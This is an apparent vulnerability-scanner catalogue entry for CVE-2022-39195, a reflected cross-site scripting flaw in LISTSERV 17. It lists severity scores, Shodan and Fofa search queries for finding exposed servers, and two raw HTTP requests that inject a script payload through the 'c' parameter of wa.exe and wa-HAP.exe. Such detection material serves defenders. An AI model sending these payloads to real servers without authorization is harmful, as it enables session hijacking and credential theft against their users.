| Title | LISTSERV 17 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.29329 |
| CVE ID | CVE-2022-39195 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"LISTSERV"http.html:"listserv" |
| Fofa Query | body="listserv" |
| Tags | cve cve2022 xss listserv packetstorm lsoft vuln |
LISTSERV 17 web interface contains a cross-site scripting vulnerability. An attacker can inject arbitrary JavaScript or HTML via the “c” parameter, thereby possibly allowing the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39195.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-39195.pcap
N/AN/A